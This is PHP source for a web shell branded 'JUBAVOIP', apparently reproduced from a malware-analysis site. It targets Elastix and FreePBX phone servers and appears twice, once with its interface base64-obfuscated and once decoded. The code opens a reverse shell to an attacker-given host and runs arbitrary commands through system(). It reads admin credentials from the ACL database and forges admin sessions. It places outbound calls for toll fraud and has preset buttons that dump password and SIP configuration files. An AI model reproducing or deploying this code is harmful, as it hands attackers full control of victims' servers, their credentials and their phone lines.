session_start();
if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == '5efbec6ffbdb2101898b4f4801bd6b2b') {
$_SESSION['JUBAVOIP'] = 'logged';
}
if (!isset($_SESSION['JUBAVOIP'])) {
echo '<form action="" method="post">';
echo '<input type="text" name="md5" size="32" />';
echo '<input type="submit" name="JUBAVOIP" value="JUBAVOIP" /> ';
echo '</form>';
echo '-- JUBAVOIP:198.102.70.12 --';
}
if (isset($_REQUEST['ip']) && isset($_REQUEST['port'])) {
$sock = fsockopen($_REQUEST['ip'], $_REQUEST['port']);
$proc = proc_open("python -c 'import pty; pty.spawn(\"bash\")'", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') {
session_destroy();
session_name("elastixSession");
session_start();
$_SESSION['JUBAVOIP'] = 'logged';
include_once "/var/www/html/libs/paloSantoDB.class.php";
include_once "/var/www/html/libs/paloSantoACL.class.php";
$pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
header("Location: /index.php");
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') {
if (!@include_once(getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
include_once('/etc/asterisk/freepbx.conf');
}
require_once('/var/www/html/admin/libraries/ampuser.class.php');
$_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']);
$_SESSION['AMP_user']->setAdmin();
header("Location: /admin/config.php");
}
if (!isset($_REQUEST['q'])) {
echo base64_decode('PGgxIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij4tSlVCQVZPSVAtPC9oMT4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICA8Yj5DQUxMPC9iPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29udGV4dCIgdmFsdWU9ImFzdGVyaXNrLW91dGNhbGxzIiAvPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InRpbWUiIHZhbHVlPSI2MCIgLz4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwcnMiIHZhbHVlPSIwMCIgLz4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW0iIHBsYWNlaG9sZGVyPSJudW1iZXIiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjYWxsIiB2YWx1ZT0iY2FsbCIgLz4KPC9mb3JtPjxiciAvPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxiPlJFVkVSU0UgU0hFTEw8L2I+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHBsYWNlaG9sZGVyPSIwLjAuMC4wIiAvPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSI4MDgwIiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iY2FsbCIgdmFsdWU9IkNvbm5lY3QiIC8+CjwvZm9ybT4KPGJyIC8+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgPGI+Q01EPC9iPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0nODAnIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleGVjdXRlIiB2YWx1ZT0iRXhlY3V0ZSIgLz4KICAgIDxociAvPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImxzIC1sYSI+TGlzdCBGaWxlPC9idXR0b24+CiAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImxzIC1sYSAvdmFyL3d3dy9odG1sLyI+TGlzdCBodG1sPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0icHMgLWF1eCAtLWZvcmVzdCI+UHJvY2Nlc3MgTGlzdDwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9Imxhc3QiPkxhc3Q8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSdteXNxbCAtLXVzZXI9InJvb3QiIC0tcGFzc3dvcmQ9IiIgLS1kYXRhYmFzZT0iYXN0ZXJpc2siIC1lICJzZWxlY3QgKiBmcm9tIGFtcHVzZXJzIFxHOyI7Jz5BbXB1c2VyczwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL3Bhc3N3ZCB8IGdyZXAgc2gkIj5QYXNzd2Q8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjcm9udGFiIC1sIj5Dcm9udGFiPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iYXN0ZXJpc2sgLXJ4ICdjb3JlIHNob3cgY2hhbm5lbHMnIj5TaG93IENoYW5uZWxzPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iYXN0ZXJpc2sgLXJ4ICdzaXAgc2hvdyBwZWVycyciPlNpcCBQZWVyczwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImFzdGVyaXNrIC1yeCAncGpzaXAgc2hvdyByZWdpc3RyYXRpb25zJyI+UEpTaXAgUmVnaXN0cmF0aW9uczwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FzdGVyaXNrL3Bqc2lwKiI+UEpTSVA8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIj5TSVAgQWRkaXRpb25hbDwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FzdGVyaXNrL2V4dGVuc2lvbnNfY3VzdG9tLmNvbmYiPkV4dGVuc2lvbnM8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9lbGFzdGl4LmNvbmYiPkVsYXN0aXguY29uZjwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2lzc2FibGUuY29uZiI+SXNzYWJsZS5jb25mPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvYW1wb3J0YWwuY29uZiI+YW1wb3J0YWwuY29uZjwvYnV0dG9uPgo8L2Zvcm0+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9ImdldCI+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJhZG1pbiIgdmFsdWU9IkVsYXN0aXgiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJhZG1pbiIgdmFsdWU9IkZyZWVwYngiIC8+CjwvZm9ybT4KPHByZT4=');
echo '<pre>';
}
if (isset($_REQUEST['cmd'])) {
echo system($_REQUEST['cmd']);
}
if (isset($_REQUEST['call'])) {
system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"');
}
session_start();
if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == '5efbec6ffbdb2101898b4f4801bd6b2b') {
$_SESSION['JUBAVOIP'] = 'logged';
}
if (!isset($_SESSION['JUBAVOIP'])) {
echo '<form action="" method="post">';
echo '<input type="text" name="md5" size="32" />';
echo '<input type="submit" name="JUBAVOIP" value="JUBAVOIP" /> ';
echo '</form>';
echo '-- JUBAVOIP:198.102.70.12 --';
}
if (isset($_REQUEST['ip']) && isset($_REQUEST['port'])) {
$sock = fsockopen($_REQUEST['ip'], $_REQUEST['port']);
$proc = proc_open("python -c 'import pty; pty.spawn(\"bash\")'", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') {
session_destroy();
session_name("elastixSession");
session_start();
$_SESSION['JUBAVOIP'] = 'logged';
include_once "/var/www/html/libs/paloSantoDB.class.php";
include_once "/var/www/html/libs/paloSantoACL.class.php";
$pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
header("Location: /index.php");
}
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') {
if (!@include_once(getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
include_once('/etc/asterisk/freepbx.conf');
}
require_once('/var/www/html/admin/libraries/ampuser.class.php');
$_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']);
$_SESSION['AMP_user']->setAdmin();
header("Location: /admin/config.php");
}
if (!isset($_REQUEST['q'])) {
echo <h1 style="text-align: center;">-JUBAVOIP-</h1>
<form action="" method="post">
<b>CALL</b> <input type="text" name="context" value="asterisk-outcalls" />
<input type="text" name="time" value="60" />
<input type="text" name="prs" value="00" />
<input type="text" name="num" placeholder="number" />
<input type="submit" name="call" value="call" />
</form><br />
<form action="" method="post">
<b>REVERSE SHELL</b>
<input type="text" name="ip" placeholder="0.0.0.0" />
<input type="text" name="port" value="8080" />
<input type="submit" name="call" value="Connect" />
</form>
<br />
<form action="" method="post">
<b>CMD</b>
<input type="text" name="cmd" size='80' />
<input type="submit" name="execute" value="Execute" />
<hr />
<button type="submit" name="cmd" value="ls -la">List File</button>
<button type="submit" name="cmd" value="ls -la /var/www/html/">List html</button>
<button type="submit" name="cmd" value="ps -aux --forest">Proccess List</button>
<button type="submit" name="cmd" value="last">Last</button>
<button type="submit" name="cmd" value='mysql --user="root" --password="" --database="asterisk" -e "select * from ampusers \G;";'>Ampusers</button>
<button type="submit" name="cmd" value="cat /etc/passwd | grep sh$">Passwd</button>
<button type="submit" name="cmd" value="crontab -l">Crontab</button>
<button type="submit" name="cmd" value="asterisk -rx 'core show channels'">Show Channels</button>
<button type="submit" name="cmd" value="asterisk -rx 'sip show peers'">Sip Peers</button>
<button type="submit" name="cmd" value="asterisk -rx 'pjsip show registrations'">PJSip Registrations</button>
<button type="submit" name="cmd" value="cat /etc/asterisk/pjsip*">PJSIP</button>
<button type="submit" name="cmd" value="cat /etc/asterisk/sip_additional.conf">SIP Additional</button>
<button type="submit" name="cmd" value="cat /etc/asterisk/extensions_custom.conf">Extensions</button>
<button type="submit" name="cmd" value="cat /etc/elastix.conf">Elastix.conf</button>
<button type="submit" name="cmd" value="cat /etc/issable.conf">Issable.conf</button>
<button type="submit" name="cmd" value="cat /etc/amportal.conf">amportal.conf</button>
</form>
<form action="" method="get">
<input type="submit" name="admin" value="Elastix" />
<input type="submit" name="admin" value="Freepbx" />
</form>
<pre>;
echo '<pre>';
}
if (isset($_REQUEST['cmd'])) {
echo system($_REQUEST['cmd']);
}
if (isset($_REQUEST['call'])) {
system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"');
}
© 2023 Quttera Ltd. All rights reserved.